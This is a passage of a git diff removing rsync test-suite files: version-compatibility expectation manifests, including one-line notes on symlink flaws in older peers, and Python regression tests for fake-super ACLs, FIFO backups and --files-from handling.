pass\n-daemon-auth                  pass\n-daemon-config                pass\n-daemon-exec                  pass\n-daemon-filter                pass\n-daemon-gzip-download         xfail   # feature/negotiation absent in 3.1.0 (proto 31)\n-daemon-gzip-upload           xfail   # feature/negotiation absent in 3.1.0 (proto 31)\n-daemon-munge                 pass\n-daemon-refuse                xfail   # feature/negotiation absent in 3.1.0 (proto 31)\n-daemon-refuse-compress       xfail   # feature/negotiation absent in 3.1.0 (proto 31)\n-exclude                      pass\n-files-from                   pass\n-hardlinks                    pass\n-reverse-daemon-delta         pass\n-sender-flist-symlink-leak    xfail   # peer vulnerable to May-2026 finding (fixed in current)\n-ssh-basic                    pass\n-variety                      pass\n-variety-symlink-traversal    pass\n-symlink-dirlink-basis        pass\ndiff --git a/testsuite/expect/rsync_3.1.3.expect b/testsuite/expect/rsync_3.1.3.expect\ndeleted file mode 100644\nindex 0ba6534..0000000\n--- a/testsuite/expect/rsync_3.1.3.expect\n+++ /dev/null\n@@ -1,51 +0,0 @@\n-# Expected outcomes for current rsync (client/driver) <-> rsync 3.1.3 peer\n-# (daemon / remote-shell server), used by runtests.py --expect-result.\n-#\n-# Format: \"<testname> <pass|skip|fail|xfail>\", '#' comments ignored. The listed\n-# tests ARE the run set. outcome meanings:\n-#   pass  - must succeed\n-#   skip  - must skip (exit 77)\n-#   xfail - expected to fail: a known, benign old-peer limitation or an\n-#           unpatched-old-peer vulnerability (documented per line below)\n-#   fail  - expected to fail, flagged for investigation (not understood / may\n-#           be a current-side bug)\n-# fail and xfail are equivalent for pass/fail accounting; the label documents\n-# why. An UNEXPECTED pass (xpass) of an xfail/fail line fails the run, which is\n-# the signal to revisit this manifest (e.g. an old-peer gap got closed).\n-#\n-# daemon-access-ip and daemon-chroot-acl are intentionally omitted: they need a\n-# real TCP peer and would skip/run differently by transport.\n-\n-# --- two-sided tests that pass against a 3.1.3 peer ---\n-00-hello                    pass\n-reverse-daemon-delta        pass    # old client -> current daemon (backward-compat: delta+compress, both directions)\n-alt-dest                    pass\n-bare-do-open-symlink-race   pass\n-batch-mode                  pass\n-chmod-option                pass\n-daemon-access               pass\n-daemon-auth                 pass\n-daemon-config               pass\n-daemon-exec                 pass\n-daemon-filter               pass\n-daemon-gzip-download        pass\n-daemon-gzip-upload          pass\n-daemon-munge                pass\n-exclude                     pass\n-files-from                  pass\n-hardlinks                   pass\n-ssh-basic                   pass\n-variety                     pass\n-variety-symlink-traversal   pass\n-symlink-dirlink-basis       pass\n-\n-# --- version feature/option gaps in 3.1.3 ---\n-daemon                      xfail   # exercises -U/--atimes etc. unknown to 3.1.3 (server errors)\n-daemon-refuse               xfail   # daemon refuse/option semantics differ (connection reset)\n-daemon-refuse-compress      xfail   # pre-zstd compress negotiation; no --compress refuse error\n-\n-# --- May-2026 security fixes absent in 3.1.3 (peer is vulnerable) ---\n-alt-dest-symlink-race       xfail   # --link-dest basis lookup follows basedir symlink (escape)\n-chdir-symlink-race          xfail   # chmod escape via cd symlink during chdir\n-copy-dest-source-symlink    xfail   # copy_file source reads /outside via cd symlink (poison)\n-sender-flist-symlink-leak   xfail   # sender flist follows cd symlink, leaks outside paths\ndiff --git a/testsuite/expect/rsync_3.2.0.expect b/testsuite/expect/rsync_3.2.0.expect\ndeleted file mode 100644\nindex 36f4282..0000000\n--- a/testsuite/expect/rsync_3.2.0.expect\n+++ /dev/null\n@@ -1,36 +0,0 @@\n-# Expected outcomes for current rsync <-> rsync 3.2.0 peer (see\n-# rsync_3.1.3.expect for the format/semantics; listed tests are the run set;\n-# fail/xfail both keep CI green, an unexpected pass fails the run).\n-\n-00-hello                    pass\n-reverse-daemon-delta        pass    # old client -> current daemon (backward-compat: delta+compress, both directions)\n-alt-dest                    pass\n-bare-do-open-symlink-race   pass\n-batch-mode                  pass\n-daemon-access               pass\n-daemon-auth                 pass\n-daemon-config               pass\n-daemon-exec                 pass\n-daemon-filter               pass\n-daemon-gzip-download        pass\n-daemon-gzip-upload          pass\n-daemon-munge                pass\n-daemon-refuse               pass\n-exclude                     pass\n-files-from                  pass\n-hardlinks                   pass\n-ssh-basic                   pass\n-variety                     pass\n-variety-symlink-traversal   pass\n-symlink-dirlink-basis       pass\n-\n-# --- version feature/option gaps in 3.2.0 ---\n-chmod-option                xfail   # client-server protocol start error (code 5)\n-daemon                      xfail   # daemon listing/option path errors (code 5)\n-daemon-refuse-compress      xfail   # --compress refuse semantics differ from current\n-\n-# --- May-2026 security fixes absent in 3.2.0 (peer is vulnerable) ---\n-alt-dest-symlink-race       xfail   # --link-dest basis lookup follows basedir symlink (escape)\n-chdir-symlink-race          xfail   # chmod escape via cd symlink during chdir\n-copy-dest-source-symlink    xfail   # copy_file source reads /outside via cd symlink (poison)\n-sender-flist-symlink-leak   xfail   # sender flist follows cd symlink, leaks outside paths\ndiff --git a/testsuite/expect/rsync_3.2.7.expect b/testsuite/expect/rsync_3.2.7.expect\ndeleted file mode 100644\nindex 455873e..0000000\n--- a/testsuite/expect/rsync_3.2.7.expect\n+++ /dev/null\n@@ -1,33 +0,0 @@\n-# Expected outcomes for current rsync <-> rsync 3.2.7 peer (see\n-# rsync_3.1.3.expect for the format/semantics; listed tests are the run set).\n-\n-00-hello                    pass\n-reverse-daemon-delta        pass    # old client -> current daemon (backward-compat: delta+compress, both directions)\n-alt-dest                    pass\n-bare-do-open-symlink-race   pass\n-batch-mode                  pass\n-chmod-option                pass\n-daemon                      pass\n-daemon-access               pass\n-daemon-auth                 pass\n-daemon-config               pass\n-daemon-exec                 pass\n-daemon-filter               pass\n-daemon-gzip-download        pass\n-daemon-gzip-upload          pass\n-daemon-munge                pass\n-daemon-refuse               pass\n-daemon-refuse-compress      pass\n-exclude                     pass\n-files-from                  pass\n-hardlinks                   pass\n-ssh-basic                   pass\n-symlink-dirlink-basis       pass\n-variety                     pass\n-variety-symlink-traversal   pass\n-\n-# --- May-2026 security fixes absent in 3.2.7 (peer is vulnerable) ---\n-alt-dest-symlink-race       xfail   # --link-dest basis lookup follows basedir symlink (escape)\n-chdir-symlink-race          xfail   # chmod escape via cd symlink during chdir\n-copy-dest-source-symlink    xfail   # copy_file source reads /outside via cd symlink (poison)\n-sender-flist-symlink-leak   xfail   # sender flist follows cd symlink, leaks outside paths\ndiff --git a/testsuite/expect/rsync_3.3.0.expect b/testsuite/expect/rsync_3.3.0.expect\ndeleted file mode 100644\nindex 85b2742..0000000\n--- a/testsuite/expect/rsync_3.3.0.expect\n+++ /dev/null\n@@ -1,33 +0,0 @@\n-# Expected outcomes for current rsync <-> rsync 3.3.0 peer (see\n-# rsync_3.1.3.expect for the format/semantics; listed tests are the run set).\n-\n-00-hello                    pass\n-reverse-daemon-delta        pass    # old client -> current daemon (backward-compat: delta+compress, both directions)\n-alt-dest                    pass\n-bare-do-open-symlink-race   pass\n-batch-mode                  pass\n-chmod-option                pass\n-daemon                      pass\n-daemon-access               pass\n-daemon-auth                 pass\n-daemon-config               pass\n-daemon-exec                 pass\n-daemon-filter               pass\n-daemon-gzip-download        pass\n-daemon-gzip-upload          pass\n-daemon-munge                pass\n-daemon-refuse               pass\n-daemon-refuse-compress      pass\n-exclude                     pass\n-files-from                  pass\n-hardlinks                   pass\n-ssh-basic                   pass\n-variety                     pass\n-variety-symlink-traversal   pass\n-symlink-dirlink-basis       pass\n-\n-# --- May-2026 security fixes absent in 3.3.0 (peer is vulnerable) ---\n-alt-dest-symlink-race       xfail   # --link-dest basis lookup follows basedir symlink (escape)\n-chdir-symlink-race          xfail   # chmod escape via cd symlink during chdir\n-copy-dest-source-symlink    xfail   # copy_file source reads /outside via cd symlink (poison)\n-sender-flist-symlink-leak   xfail   # sender flist follows cd symlink, leaks outside paths\ndiff --git a/testsuite/expect/rsync_3.4.0.expect b/testsuite/expect/rsync_3.4.0.expect\ndeleted file mode 100644\nindex 085e50f..0000000\n--- a/testsuite/expect/rsync_3.4.0.expect\n+++ /dev/null\n@@ -1,42 +0,0 @@\n-# Expected outcomes for current rsync <-> rsync 3.4.0 peer (see\n-# rsync_3.1.3.expect for the format/semantics; listed tests are the run set).\n-\n-00-hello                    pass\n-reverse-daemon-delta        pass    # old client -> current daemon (backward-compat: delta+compress, both directions)\n-alt-dest                    pass\n-bare-do-open-symlink-race   pass\n-batch-mode                  pass\n-chmod-option                pass\n-daemon                      pass\n-daemon-access               pass\n-daemon-auth                 pass\n-daemon-config               pass\n-daemon-exec                 pass\n-daemon-filter               pass\n-daemon-gzip-download        pass\n-daemon-gzip-upload          pass\n-daemon-munge                pass\n-daemon-refuse               pass\n-daemon-refuse-compress      pass\n-exclude                     pass\n-files-from                  pass\n-hardlinks                   pass\n-ssh-basic                   pass\n-variety                     pass\n-variety-symlink-traversal   pass\n-\n-# issue #715, present in 3.4.0: updating a file through a -K (--copy-dirlinks)\n-# directory symlink fails on the receiver because its secure_relative_open()\n-# O_NOFOLLOW-confines every path component, including the basedir reached via\n-# the symlink, so the basis open is rejected and the update is discarded\n-# (\"failed verification\"). Current master fixes this with secure_basis_open()\n-# (receiver.c), which splits the path so the basedir may follow symlinks while\n-# only the leaf is O_NOFOLLOW'd. Verified peer-version-, not protocol-, driven\n-# (forcing this peer to --protocol=31 still fails; 3.3.0 at proto 31 passes).\n-symlink-dirlink-basis       xfail\n-\n-# --- May-2026 security fixes absent in 3.4.0 (peer is vulnerable) ---\n-alt-dest-symlink-race       xfail   # --link-dest basis lookup follows basedir symlink (escape)\n-chdir-symlink-race          xfail   # chmod escape via cd symlink during chdir\n-copy-dest-source-symlink    xfail   # copy_file source reads /outside via cd symlink (poison)\n-sender-flist-symlink-leak   xfail   # sender flist follows cd symlink, leaks outside paths\ndiff --git a/testsuite/expect/rsync_3.4.1.expect b/testsuite/expect/rsync_3.4.1.expect\ndeleted file mode 100644\nindex 4dbacbd..0000000\n--- a/testsuite/expect/rsync_3.4.1.expect\n+++ /dev/null\n@@ -1,42 +0,0 @@\n-# Expected outcomes for current rsync <-> rsync 3.4.1 peer (see\n-# rsync_3.1.3.expect for the format/semantics; listed tests are the run set).\n-\n-00-hello                    pass\n-reverse-daemon-delta        pass    # old client -> current daemon (backward-compat: delta+compress, both directions)\n-alt-dest                    pass\n-bare-do-open-symlink-race   pass\n-batch-mode                  pass\n-chmod-option                pass\n-daemon                      pass\n-daemon-access               pass\n-daemon-auth                 pass\n-daemon-config               pass\n-daemon-exec                 pass\n-daemon-filter               pass\n-daemon-gzip-download        pass\n-daemon-gzip-upload          pass\n-daemon-munge                pass\n-daemon-refuse               pass\n-daemon-refuse-compress      pass\n-exclude                     pass\n-files-from                  pass\n-hardlinks                   pass\n-ssh-basic                   pass\n-variety                     pass\n-variety-symlink-traversal   pass\n-\n-# issue #715, present in 3.4.1: updating a file through a -K (--copy-dirlinks)\n-# directory symlink fails on the receiver because its secure_relative_open()\n-# O_NOFOLLOW-confines every path component, including the basedir reached via\n-# the symlink, so the basis open is rejected and the update is discarded\n-# (\"failed verification\"). Current master fixes this with secure_basis_open()\n-# (receiver.c), which splits the path so the basedir may follow symlinks while\n-# only the leaf is O_NOFOLLOW'd. Verified peer-version-, not protocol-, driven\n-# (forcing this peer to --protocol=31 still fails; 3.3.0 at proto 31 passes).\n-symlink-dirlink-basis       xfail\n-\n-# --- May-2026 security fixes absent in 3.4.1 (peer is vulnerable) ---\n-alt-dest-symlink-race       xfail   # --link-dest basis lookup follows basedir symlink (escape)\n-chdir-symlink-race          xfail   # chmod escape via cd symlink during chdir\n-copy-dest-source-symlink    xfail   # copy_file source reads /outside via cd symlink (poison)\n-sender-flist-symlink-leak   xfail   # sender flist follows cd symlink, leaks outside paths\ndiff --git a/testsuite/fake-super-acl-xattr_test.py b/testsuite/fake-super-acl-xattr_test.py\ndeleted file mode 100644\nindex 0973236..0000000\n--- a/testsuite/fake-super-acl-xattr_test.py\n+++ /dev/null\n@@ -1,112 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage: --fake-super -A stores/loads ACLs via the user.rsync.%aacl /\n-%dacl xattrs (xattrs.c get_xattr_acl/set_xattr_acl/del_def_xattr_acl and the\n-acls.c am_root<0 IVAL/SIVAL pack/unpack paths).\n-\n-Three legs, all with -A --fake-super on the *receiving* side:\n-\n-  1. real-ACL src  -> fake-super dst    (acls.c set_xattr_acl path: SIVAL pack\n-                                         + xattrs.c set_xattr_acl)\n-  2. fake-super dst -> fake-super dst2  (acls.c get_xattr_acl path: IVAL\n-                                         unpack on the SENDER side via -M\n-                                         --fake-super, then set_xattr_acl\n-                                         again on the receiver)\n-  3. drop the source dir's default ACL and re-sync dst -> del_def_xattr_acl\n-     removes the stale %dacl xattr.\n-\n-Structural assertions only (xattr presence/absence): the per-field ACL\n-round-trip is acls_test.py's job; this test exists to cover the xattr-\n-encoding branch that the regular -A tests (am_root>=0) never reach.\n-\"\"\"\n-\n-import os\n-import platform\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, FROMDIR,\n-    acls_supported, makepath, rmtree, rsync_argv,\n-    test_fail, test_skipped, xattrs_supported,\n-)\n-\n-# The fake-super ACL encoding stores ACLs under the Linux-only `user.rsync.`\n-# xattr namespace (xattrs.c USERNAME_PREFIX under HAVE_LINUX_XATTRS); elsewhere\n-# the prefix is `rsync.` and the access path uses setfacl/os.getxattr that don't\n-# exist or differ (macOS, the BSDs, Cygwin).  This test targets that Linux path.\n-if platform.system() != 'Linux':\n-    test_skipped(\"fake-super ACL xattrs use the Linux user.rsync.* namespace\")\n-\n-if not acls_supported():\n-    test_skipped(\"ACLs not supported on this filesystem\")\n-if not xattrs_supported():\n-    test_skipped(\"xattrs not supported on this filesystem\")\n-\n-src = FROMDIR\n-dst = SCRATCHDIR / 'fakesuper-dst'\n-dst2 = SCRATCHDIR / 'fakesuper-dst2'\n-for d in (src, dst, dst2):\n-    rmtree(d)\n-makepath(src)\n-\n-# Source: a file with a named-user access ACL entry, and a directory with\n-# a default ACL (so both %aacl and %dacl encodings are exercised, and the\n-# id_access cnt>0 branch in acls.c pack/unpack fires).\n-(src / 'f').write_text('hello\\n')\n-sd = src / 'd'\n-sd.mkdir()\n-(sd / 'g').write_text('world\\n')\n-\n-r = subprocess.run(['setfacl', '-m', f'u:{os.getuid()}:rwx', str(src / 'f')],\n-                   capture_output=True, text=True)\n-if r.returncode != 0:\n-    test_skipped(f\"setfacl on file failed: {r.stderr!r}\")\n-r = subprocess.run(['setfacl', '-d', '-m', f'u:{os.getuid()}:rwx', str(sd)],\n-                   capture_output=True, text=True)\n-if r.returncode != 0:\n-    test_skipped(f\"setfacl -d on dir failed: {r.stderr!r}\")\n-\n-\n-def has_xattr(path, name):\n-    try:\n-        os.getxattr(str(path), name, follow_symlinks=False)\n-        return True\n-    except OSError:\n-        return False\n-\n-\n-def sync(args, frm, to):\n-    r = subprocess.run(rsync_argv(*args, f'{frm}/', f'{to}/'),\n-                       capture_output=True, text=True)\n-    if r.returncode != 0:\n-        test_fail(f\"rsync {' '.join(args)} {frm} -> {to} \"\n-                  f\"(rc={r.returncode}):\\n{r.stderr}\")\n-    return r\n-\n-\n-# --- leg 1: real-ACL src -> fake-super dst (set_xattr_acl + SIVAL pack) ----\n-# In a local copy the client is the SENDER and the forked \"server\" is the\n-# RECEIVER, so --fake-super on the receiving side is `-M--fake-super`.\n-sync(['-rA', '-M--fake-super'], src, dst)\n-if not has_xattr(dst / 'f', 'user.rsync.%aacl'):\n-    test_fail(\"--fake-super -A should have stored user.rsync.%aacl on dst/f\")\n-if not has_xattr(dst / 'd', 'user.rsync.%dacl'):\n-    test_fail(\"--fake-super -A should have stored user.rsync.%dacl on dst/d\")\n-\n-# --- leg 2: fake-super dst -> fake-super dst2 (get_xattr_acl + IVAL unpack)\n-# Both sides in fake-super mode: sender (client) READS ACLs from the\n-# %aacl/%dacl xattrs (get_xattr_acl + IVAL unpack), receiver (-M side)\n-# WRITES them back (set_xattr_acl).\n-sync(['-rA', '--fake-super', '-M--fake-super'], dst, dst2)\n-if not has_xattr(dst2 / 'f', 'user.rsync.%aacl'):\n-    test_fail(\"fake-super -> fake-super -A round-trip lost %aacl on dst2/f\")\n-if not has_xattr(dst2 / 'd', 'user.rsync.%dacl'):\n-    test_fail(\"fake-super -> fake-super -A round-trip lost %dacl on dst2/d\")\n-\n-# --- leg 3: drop the source dir's default ACL, re-sync -> del_def_xattr_acl\n-subprocess.run(['setfacl', '-k', str(sd)], check=True)\n-sync(['-rA', '-M--fake-super'], src, dst)\n-if has_xattr(dst / 'd', 'user.rsync.%dacl'):\n-    test_fail(\"re-sync after `setfacl -k` should have removed %dacl from dst/d \"\n-              \"(del_def_xattr_acl)\")\n-\n-print(\"fake-super-acl-xattr: %aacl/%dacl set+get round-trip + del_def ok\")\ndiff --git a/testsuite/fake-super-backup-fifo-regression_test.py b/testsuite/fake-super-backup-fifo-regression_test.py\ndeleted file mode 100644\nindex d990308..0000000\n--- a/testsuite/fake-super-backup-fifo-regression_test.py\n+++ /dev/null\n@@ -1,207 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Fake-super backup fallback must retain an inert FIFO placeholder.\"\"\"\n-\n-import os\n-import platform\n-import stat\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped, xattrs_supported,\n-)\n-\n-\n-system = platform.system()\n-if system not in ('Darwin', 'Linux'):\n-    test_skipped('deterministic fast-path failure needs dyld/ELF interposing')\n-if not xattrs_supported():\n-    test_skipped('fake-super FIFO setup requires xattr support')\n-\n-base = (SCRATCHDIR / 'fake-super-backup-fifo-regression').resolve()\n-rmtree(base)\n-src = base / 'src'\n-mod = base / 'mod'\n-dest_sub = mod / 'slot'\n-backup_root = base / 'backup'\n-backup_sub = backup_root / 'slot'\n-load_marker = base / 'hook-loaded'\n-fallback_marker = base / 'backup-fast-path-failed'\n-for directory in (src / 'slot', dest_sub, backup_sub):\n-    directory.mkdir(parents=True)\n-\n-source_victim = src / 'slot' / 'victim'\n-os.mkfifo(source_victim, 0o600)\n-\n-# Force both backup fast paths to fail so production code must reconstruct the\n-# existing fake-super FIFO in --backup-dir.  The interposer changes only this\n-# scheduling/error precondition; rsync itself chooses and creates the result.\n-hook_src = base / 'fake-super-backup-hook.c'\n-hook_lib = base / ('fake-super-backup-hook.dylib'\n-                   if system == 'Darwin' else 'fake-super-backup-hook.so')\n-hook_src.write_text(r'''\n-#include <sys/types.h>\n-#include <sys/stat.h>\n-#include <sys/syscall.h>\n-#include <errno.h>\n-#include <fcntl.h>\n-#include <stdio.h>\n-#include <stdlib.h>\n-#include <string.h>\n-#include <unistd.h>\n-\n-static int claim(const char *path)\n-{\n-    int fd;\n-    if (!path || (fd = open(path, O_WRONLY | O_CREAT | O_EXCL, 0600)) < 0)\n-        return 0;\n-    close(fd);\n-    return 1;\n-}\n-\n-static const char *leaf(const char *path)\n-{\n-    const char *slash = path ? strrchr(path, '/') : NULL;\n-    return slash ? slash + 1 : path;\n-}\n-\n-static int victim_pair(const char *oldname, const char *newname)\n-{\n-    oldname = leaf(oldname);\n-    newname = leaf(newname);\n-    return oldname && newname && strcmp(oldname, \"victim\") == 0\n-        && strcmp(newname, \"victim\") == 0;\n-}\n-\n-static int fail_pair(const char *oldname, const char *newname, int err)\n-{\n-    if (victim_pair(oldname, newname)\n-     && claim(getenv(\"RSYNC_FAKE_BACKUP_LINK_MARKER\"))) {\n-        errno = err;\n-        return 1;\n-    }\n-    return 0;\n-}\n-\n-static int hook_link(const char *oldname, const char *newname)\n-{\n-    if (fail_pair(oldname, newname, EPERM))\n-        return -1;\n-#ifdef SYS_link\n-    return (int)syscall(SYS_link, oldname, newname);\n-#else\n-    return (int)syscall(SYS_linkat, AT_FDCWD, oldname,\n-                        AT_FDCWD, newname, 0);\n-#endif\n-}\n-\n-static int hook_rename(const char *oldname, const char *newname)\n-{\n-    if (fail_pair(oldname, newname, EXDEV))\n-        return -1;\n-#ifdef SYS_rename\n-    return (int)syscall(SYS_rename, oldname, newname);\n-#else\n-    return (int)syscall(SYS_renameat, AT_FDCWD, oldname,\n-                        AT_FDCWD, newname);\n-#endif\n-}\n-\n-static int hook_linkat(int oldfd, const char *oldname,\n-                       int newfd, const char *newname, int flags)\n-{\n-    if (fail_pair(oldname, newname, EPERM))\n-        return -1;\n-    return (int)syscall(SYS_linkat, oldfd, oldname, newfd, newname, flags);\n-}\n-\n-static int hook_renameat(int oldfd, const char *oldname,\n-                         int newfd, const char *newname)\n-{\n-    if (fail_pair(oldname, newname, EXDEV))\n-        return -1;\n-    return (int)syscall(SYS_renameat, oldfd, oldname, newfd, newname);\n-}\n-\n-__attribute__((constructor)) static void hook_loaded(void)\n-{\n-    claim(getenv(\"RSYNC_FAKE_BACKUP_LOAD_MARKER\"));\n-}\n-\n-#ifdef __APPLE__\n-__attribute__((used)) static struct {\n-    const void *replacement;\n-    const void *replacee;\n-} interposers[] __attribute__((section(\"__DATA,__interpose\"))) = {\n-    { (const void *)hook_link, (const void *)link },\n-    { (const void *)hook_rename, (const void *)rename },\n-    { (const void *)hook_linkat, (const void *)linkat },\n-    { (const void *)hook_renameat, (const void *)renameat },\n-};\n-#else\n-int link(const char *oldname, const char *newname)\n-{\n-    return hook_link(oldname, newname);\n-}\n-\n-int rename(const char *oldname, const char *newname)\n-{\n-    return hook_rename(oldname, newname);\n-}\n-\n-int linkat(int oldfd, const char *oldname,\n-           int newfd, const char *newname, int flags)\n-{\n-    return hook_linkat(oldfd, oldname, newfd, newname, flags);\n-}\n-\n-int renameat(int oldfd, const char *oldname,\n-             int newfd, const char *newname)\n-{\n-    return hook_renameat(oldfd, oldname, newfd, newname);\n-}\n-#endif\n-''')\n-\n-build_args = (['cc', '-dynamiclib'] if system == 'Darwin'\n-              else ['cc', '-shared', '-fPIC'])\n-build = subprocess.run(\n-    [*build_args, '-o', str(hook_lib), str(hook_src)],\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if build.returncode != 0:\n-    test_skipped(f'cannot build dyld interposer: {build.stdout!r}')\n-\n-seed = subprocess.run(\n-    rsync_argv('-rtI', '--specials', '--fake-super', f'{src}/', f'{mod}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if seed.returncode != 0:\n-    test_fail(f'initial fake-super FIFO upload failed: {seed.stdout!r}')\n-placeholder = dest_sub / 'victim'\n-if not stat.S_ISREG(os.lstat(placeholder).st_mode):\n-    test_fail('initial FIFO was not represented by an inert regular file')\n-\n-source_victim.unlink()\n-source_victim.write_text('NEW-REMOTE-DATA\\n')\n-\n-result = subprocess.run(\n-    rsync_argv('-rtI', '--specials', '--fake-super', '--backup',\n-               f'--backup-dir={backup_root}', '--no-inc-recursive',\n-               f'{src}/', f'{mod}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-    env={**os.environ,\n-         ('DYLD_INSERT_LIBRARIES' if system == 'Darwin' else 'LD_PRELOAD'):\n-             str(hook_lib),\n-         'RSYNC_FAKE_BACKUP_LOAD_MARKER': str(load_marker),\n-         'RSYNC_FAKE_BACKUP_LINK_MARKER': str(fallback_marker)})\n-if result.returncode != 0:\n-    test_fail(f'fake-super backup failed: {result.stdout!r}')\n-if not load_marker.exists() or not fallback_marker.exists():\n-    test_fail(f'positive control did not force the backup fallback: {result.stdout!r}')\n-\n-backup = backup_sub / 'victim'\n-backup_mode = os.lstat(backup).st_mode\n-if stat.S_ISFIFO(backup_mode):\n-    test_fail('fake-super backup materialized a live FIFO')\n-if not stat.S_ISREG(backup_mode):\n-    test_fail(f'unexpected fake-super backup type: {backup_mode:o}')\n-\n-print('fake-super backup remained an inert regular placeholder')\ndiff --git a/testsuite/file-to-file-mkpath-dry-run_test.py b/testsuite/file-to-file-mkpath-dry-run_test.py\ndeleted file mode 100644\nindex dd340b4..0000000\n--- a/testsuite/file-to-file-mkpath-dry-run_test.py\n+++ /dev/null\n@@ -1,62 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for issue #880 (and the dry-run itemize regression that the\n-# first proposed fix, PR #952, would have introduced).\n-#\n-# (1) Copying file-to-file with --mkpath and --dry-run used to abort with\n-#     \"change_dir#3 ... failed\", because make_path() only *reports* (does not\n-#     create) directories in a dry run, so the later chdir found no parent.\n-#\n-# (2) The fix must stay scoped to the missing-parent case: a plain\n-#     file-to-file --dry-run onto an *existing*, differing destination must\n-#     still itemize the real change, not report the file as brand new (PR #952\n-#     bumped dry_run unconditionally, which broke this).\n-#\n-# In both cases a \"--dry-run -i\" must produce the same itemized output as the\n-# real run.  Based on the test from PR #952 by Stiliyan Tonev.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail\n-\n-\n-def itemize(*args):\n-    p = subprocess.run(rsync_argv('-ai', *args), capture_output=True, text=True)\n-    return p.returncode, p.stdout + p.stderr\n-\n-\n-# (1) --mkpath file-to-file: the dry run must succeed and match the real run.\n-mk = SCRATCHDIR / 'mk'\n-rmtree(mk)\n-makepath(mk / 'from')\n-(mk / 'from' / 'src').write_text(\"payload\\n\")\n-\n-drc, dry = itemize('--dry-run', '--mkpath',\n-                   str(mk / 'from' / 'src'), str(mk / 'dndir' / 'dst'))\n-rc, real = itemize('--mkpath', str(mk / 'from' / 'src'), str(mk / 'rdir' / 'dst'))\n-if drc != 0:\n-    print(dry)\n-    test_fail(\"--mkpath file-to-file --dry-run failed (#880)\")\n-if not (mk / 'rdir' / 'dst').exists():\n-    test_fail(\"--mkpath real run did not create the file\")\n-if dry.replace('dndir', 'X') != real.replace('rdir', 'X'):\n-    test_fail(f\"--mkpath dry-run output differs from the real run:\\n\"\n-              f\" dry : {dry!r}\\n real: {real!r}\")\n-\n-# (2) Plain file-to-file onto an existing, differing destination: the dry run\n-# must itemize the same change as the real run (a/dst and b/dst share the\n-# basename 'dst', so the itemized lines are directly comparable).\n-ex = SCRATCHDIR / 'ex'\n-rmtree(ex)\n-makepath(ex / 'a')\n-makepath(ex / 'b')\n-(ex / 'src').write_text(\"brand new content\\n\")\n-for d in ('a', 'b'):\n-    (ex / d / 'dst').write_text(\"old\\n\")\n-    os.utime(ex / d / 'dst', (0, 0))        # make size + mtime differ\n-\n-_, dry2 = itemize('--dry-run', str(ex / 'src'), str(ex / 'a' / 'dst'))\n-_, real2 = itemize(str(ex / 'src'), str(ex / 'b' / 'dst'))\n-if dry2 != real2:\n-    test_fail(f\"file-to-file --dry-run misreports an existing destination:\\n\"\n-              f\" dry : {dry2!r}\\n real: {real2!r}\")\ndiff --git a/testsuite/files-from-depth_test.py b/testsuite/files-from-depth_test.py\ndeleted file mode 100644\nindex 3a1b990..0000000\n--- a/testsuite/files-from-depth_test.py\n+++ /dev/null\n@@ -1,94 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --files-from, -0/--from0, --exclude-from, --include-from at depth.\n-\n---files-from selects exactly the listed source-relative paths (creating their\n-implied parent dirs); --from0 makes the list NUL-delimited; --exclude-from /\n---include-from read filter patterns from a file. All resolve names several\n-levels deep.\n-\"\"\"\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    assert_exists, assert_not_exists, assert_same, make_tree, rmtree,\n-    run_rsync,\n-)\n-\n-src = FROMDIR\n-listed = ['d1/f1', 'd1/d2/d3/f3']\n-unlisted = ['f0', 'd1/d2/f2']\n-\n-\n-def seed():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    make_tree(src, depth=3)\n-\n-\n-# --- --files-from selects only the listed deep paths ------------------------\n-seed()\n-lf = SCRATCHDIR / 'files.lst'\n-lf.write_text('\\n'.join(listed) + '\\n')\n-run_rsync('-a', f'--files-from={lf}', f'{src}/', f'{TODIR}/')\n-for rel in listed:\n-    assert_same(TODIR / rel, src / rel, label=f'--files-from {rel}')\n-for rel in unlisted:\n-    assert_not_exists(TODIR / rel, label=f'--files-from excluded {rel}')\n-\n-# --- --from0: the same list, NUL-delimited ----------------------------------\n-rmtree(TODIR)\n-lf0 = SCRATCHDIR / 'files0.lst'\n-lf0.write_bytes(b'\\0'.join(p.encode() for p in listed) + b'\\0')\n-run_rsync('-a', '--from0', f'--files-from={lf0}', f'{src}/', f'{TODIR}/')\n-for rel in listed:\n-    assert_same(TODIR / rel, src / rel, label=f'--from0 {rel}')\n-for rel in unlisted:\n-    assert_not_exists(TODIR / rel, label=f'--from0 excluded {rel}')\n-\n-# --- comments: line mode and --from0 both ignore them -----------------------\n-rmtree(TODIR)\n-(src / '#ignored').write_text('hash ignored\\n')\n-(src / ';ignored').write_text('semi ignored\\n')\n-commented = SCRATCHDIR / 'files-commented.lst'\n-commented.write_text('\\n'.join(['', ';ignored', '#ignored', *listed]) + '\\n')\n-run_rsync('-a', f'--files-from={commented}', f'{src}/', f'{TODIR}/')\n-for rel in listed:\n-    assert_same(TODIR / rel, src / rel, label=f'--files-from comment list {rel}')\n-for rel in unlisted:\n-    assert_not_exists(TODIR / rel, label=f'--files-from comment list excluded {rel}')\n-for rel in ['#ignored', ';ignored']:\n-    assert_not_exists(TODIR / rel, label=f'--files-from comment list skipped {rel}')\n-\n-rmtree(TODIR)\n-comments0 = SCRATCHDIR / 'files-comments0.lst'\n-comments0.write_bytes(\n-    b'\\0;ignored\\0#ignored\\0' + b'\\0'.join(p.encode() for p in listed) + b'\\0')\n-run_rsync('-a', '--from0', f'--files-from={comments0}', f'{src}/', f'{TODIR}/')\n-for rel in listed:\n-    assert_same(TODIR / rel, src / rel, label=f'--from0 comment list {rel}')\n-for rel in unlisted:\n-    assert_not_exists(TODIR / rel, label=f'--from0 comment list excluded {rel}')\n-for rel in ['#ignored', ';ignored']:\n-    assert_not_exists(TODIR / 